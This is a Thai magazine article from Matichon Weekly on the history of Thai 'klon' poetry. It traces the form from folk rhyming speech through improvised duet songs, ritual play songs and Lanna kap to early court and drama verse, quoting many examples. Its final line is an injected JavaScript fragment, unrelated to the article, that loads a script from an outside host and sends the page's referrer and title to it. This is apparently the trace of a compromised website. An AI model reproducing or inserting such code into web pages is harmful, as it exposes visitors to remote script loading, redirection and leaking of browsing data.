มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 1 มิถุนายน 2555

 

          กลอน เป็นคำรวมเรียกร้อยกรองทุกอย่างที่มีรากเหง้าจากคำคล้องจองของตระกูลไทย-ลาว ได้แก่ ร่าย, โคลง, กลอน

          ร้อยกรองที่รู้จักและเข้าใจ แล้วเรียกกันว่า “กลอน” ทุกวันนี้ เช่น กลอนแปด, กลอนสุนทรภู่, ฯลฯ จิตร ภูมิศักดิ์ อธิบายไว้ในหนังสือโองการแช่งน้ำ (พิมพ์ครั้งแรก พ.ศ. 2524) ว่า

          กลอนส่งสัมผัสเพลงก็คือกลอนเพลง ที่เรียกกันเป็นสามัญทุกวันนี้ว่ากลอน มีพัฒนาการมาจากคำคล้องจองในภาษาประจำวันของตระกูลไทย-ลาว แล้วก่อรูปเป็นร่ายขึ้นจากการใช้สัมผัสระหว่างวรรคเข้าช่วย กับอาศัยสัมผัสท้ายวรรคเข้าไปด้วย จึงเกิดเป็นกลอนหรือกลอนเพลงขึ้นมา เช่น

          เสียทองเท่าหัว

          ไม่ยอมเสียผัว   ให้ใคร

          และ

          รักกันหนา        พากันหนี

          ที่เขามั่งเขามี    ออกถมไป

          กลอนเพลงอย่างนี้ ผู้คนดึกดำบรรพ์ใช้ร้องขับลำเล่านิทานเป็นพื้น หลังจากนั้นจะแยกเป็น 2 อย่าง คือ กลอนเพลงด้นโต้ตอบ และกลอนเพลงร้องเล่น

 

กลอนเพลงด้นโต้ตอบ

          กลอนเพลงด้นโต้ตอบระหว่างชายกับหญิง เป็นกลอนส่งสัมผัสท้ายวรรคด้วยสระเสียงเดียวกัน เรียกว่า “กลอนหัวเดียว”Ž เพราะง่ายและสะดวกต่อการจำไปร้องด้นสดๆ เช่น เพลงเทพทอง ร้องว่า

          (หญิง) ตัวน้องมีความจะถามต่อ        คนเรานี่หนอพี่รู้ไหม

          ตั้งแต่เช้ามาจนค่ำ                         พี่พูดกี่คำจำได้ไหม

          (ชาย) เจ้าถามพี่ว่าพูดจากี่คำ           ตัวของพี่จำได้มั่นใจ

          พี่พูดสองคำมิซ้ำมิซาก                   พี่พูดไม่มากดอกทรามวัย

          นอกเหนือจากขับลำด้นเล่านิทานเป็นพื้นแล้ว การด้นโต้ตอบระหว่างชายกับหญิงจะถูกอกถูกใจผู้ร่วมการละเล่นมากที่สุด เพราะจะมีบททะเลาะเบาะแว้ง แล้วตามด้วยการด่าทอถากถางเสียดสีเย้ยหยันกันด้วยโวหารเชิงขบขันและสองแง่สองง่ามจนหยาบโลน ซึ่งเรียกกันว่า “กลอนแดง” ให้สนุกสนานครื้นเครงอยู่ตลอดเวลา

          ยิ่งมีตอบ ก็ยิ่งมีโต้ แล้วยิ่งหนุนให้พ่อเพลงแม่เพลงคิดกลอนด้นสดๆ โต้และตอบอย่างต่อเนื่องไปได้เรื่อยๆ ไม่มีติดขัดหรืออับจน กระทั่งมี “นิยาย” ในเพลงโต้ตอบ จนมีพัฒนาการเป็นละคร

 

กลอนเพลงร้องเล่น

          กลอนเพลงร้องเล่นรุ่นแรกๆเป็นบทสั้นๆ มีร่องรอยอยู่ในการละเล่นเชิญผีต่างๆที่เกี่ยวข้องกับการทำมาหากินเพื่อความอุดมสมบูรณ์ของชุมชนนั้นๆ เช่น ผีครกผีสาก, ขอฟ้าขอฝน แม่สี ฯลฯ เช่น

          ปลาตะเพียนปลาตะพาก     กระต่ายลายช้อน

          ปลาชะโอนเนื้ออ่อน              ช้อนพ่อคุณเอย

          ฝนฟ้าเจ้าข้าเอย               ตกมาก็แรงๆ

          นางทองทรัพย์ปลูกแตง         ไว้ที่ริมไร่

          ถ้าฝนฟ้าไม่ส่ง                   นางทองทรัพย์ก็คงเหงาใจ

          เพราะว่าไม่ได้ผลไม้              จะต้องบรรลัยหรือเจ้าเอย

          แม่สีเอย                         แม่สีสาหงส์

          เชิญเจ้ามาลง                      เอาแม่สร้อยทอง

          เชิญปี่เชิญกลอง                   เชิญแม่ทองสีเอย

          นอกจากนั้นยังมีร่องรอยอยู่ในเพลงร้องเล่นต่างๆ เช่น วัดโบสถ์, เจ้าขุนทอง ฯลฯ ทำนองร้องในการละเล่นไม่ซับซ้อน ไม่ต้องเอื้อน และไม่จำเป็นต้องมีเครื่องเล่นดีดสีตีเป่า ถ้าจะมีขึ้นก็มักเป็นเครื่องตีในตระกูลตีกระบอกไม้ไผ่อย่างโกร่ง เกราะ กรับ

          กลอนเพลงอย่างนี้ ทางล้านนาสมัยก่อนเรียกกาพย์ เป็นเหตุให้เรียกควบกันภายหลังว่า “กาพย์กลอน”

          ฉันทลักษณ์กาพย์ล้านนาไม่เคร่งครัดจำนวนบาทและจำนวนคำ ถ้าขัดข้องอย่างใดอย่างหนึ่งจะลดจำนวนบาทลงบ้างก็ได้ จากบทหนึ่งมี 4 บาท ให้เหลือ 2 บาท มีตัวอย่างจากเรื่องลาภกุมาร พิมพ์อยู่ในหนังสือกาพย์กลอนสองฝั่งโขงฯ ของ สิลา วีระวงศ์ (ฉบับแปลเป็นภาษาไทย พิมพ์ครั้งแรก พ.ศ. 2537 หน้า 20-21) ดังนี้

          ขื่อแวดไว้                       ดอกไม้วัดเวียง

          ปลูกบัวเฮียง                       ดอกก้านเฮียงด้วย

          มีหลายสี                           ขาวแดงจีจ้วย

          หยาดยายท้วย                    ทั่วน้ำ ฯ

          ผักคาบผักหนอง              ผักบุ้งมีช้ำ

          ผักซู่ก้ำ                             คือเวียง ฯ

          ดอกก้านพร้อม                ย่อมนันด้วยเสียง

          สัทธ์สำเนียง                       ภมรใฝ่เฝ้า

          โขงประตู                           ทวารเทียวออกเข้า

          สมเพิงเพา                         เลิศล้น ฯ      

          ก่อเป็นหลัง                     สูงขึ้นเผ่นพ้น

          มุงกระเบื้อง                       ดินแดง ฯ

          ใส่ช่อฟ้า                         พานลมสมแสง

          ติดคำแดง                         นิดแฝงแก้วแอ้ม

          ลางทีมิดจิ๋น                        ลางทีต้องแต้ม

          เป็นดอกแย้ม                      ดวงบาน ฯ

          ต่อจากนั้นราชสำนักจึงใช้แต่งเพลงขับกล่อม ดังมีเค้ามูลเพลงร้องมโหรีชื่อเพลงสุดใจกับเพลงสายสมร สมัยสมเด็จพระนารายณ์ฯ ล้วนสอดคล้องกับบทมโหรี ครั้งกรุงเก่าที่สมเด็จฯ กรมพระยาดำรงราชานุภาพทรงได้ต้นฉบับจากเมืองนครศรีธรรมราช เช่น

          เจ้าเอยนางนาค                เจ้าคิดแต่เท่านั้นแล้ว

          เจ้าปักปิ่นแก้ว                    แล้วเจ้ามาแซมดอกไม้ไหว

          จำปาสองหูห้อย                   สร้อยสังวาลแลมาลัย

          ชมพูผ้าสไบ                        เจ้าห้อยสองบ่าสง่างาม

          เวียนเอยเวียนเทียน        เวียนไปให้ครบสามรอบ

          สิ่งสินประกอบ                    ทั้งช้างแลม้าข้าไทย

          ส่วยช้างมาแต่เหนือ              ส่วยเรือมาแต่ข้างใต้

          สมบัติอย่ารู้ไร้                     ให้ไหลมาดังท่อธาร

          จะเห็นว่ากลอนสมัยแรกๆมีลักษณะเสรี โดยยังไม่เคร่งครัดจำนวนคำแต่ละวรรค และยังมิได้กำหนดเสียงสัมผัสท้ายวรรค แล้วใช้แต่งบทละครด้วย ดังมีเค้าเหลืออยู่ในบทละครนอกครั้งกรุงเก่าเรื่องมโนห์ราว่า


          นางแม่ของลูกยา              แม่มาด่าลูกไม่ถูกต้อง

          ทั้งพี่ทั้งน้อง                        เหล่าเราดอกทองเหมือนกัน

          ดอกทองสิ้นทั้งเผ่า               เหล่าเราดอกทองสิ้นทั้งพันธุ์

          ดอกทองเหมือนกัน              ทั้งองค์พระมารดา

          แบบแผนกลอนเพลงเพื่อร้องขับลำอย่างนี้ จะมีพัฒนาการเป็นกลอนชนิดต่างๆต่อไป แล้วเรียกชื่อแตกต่างกัน เช่น กลอนเสภา, กลอนเพลงยาว, กลอนตลาด, หรือกลอนสุภาพอย่างสุนทรภู่ที่มีอิทธิพลแพร่หลายอยู่ทุกวันนี้

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;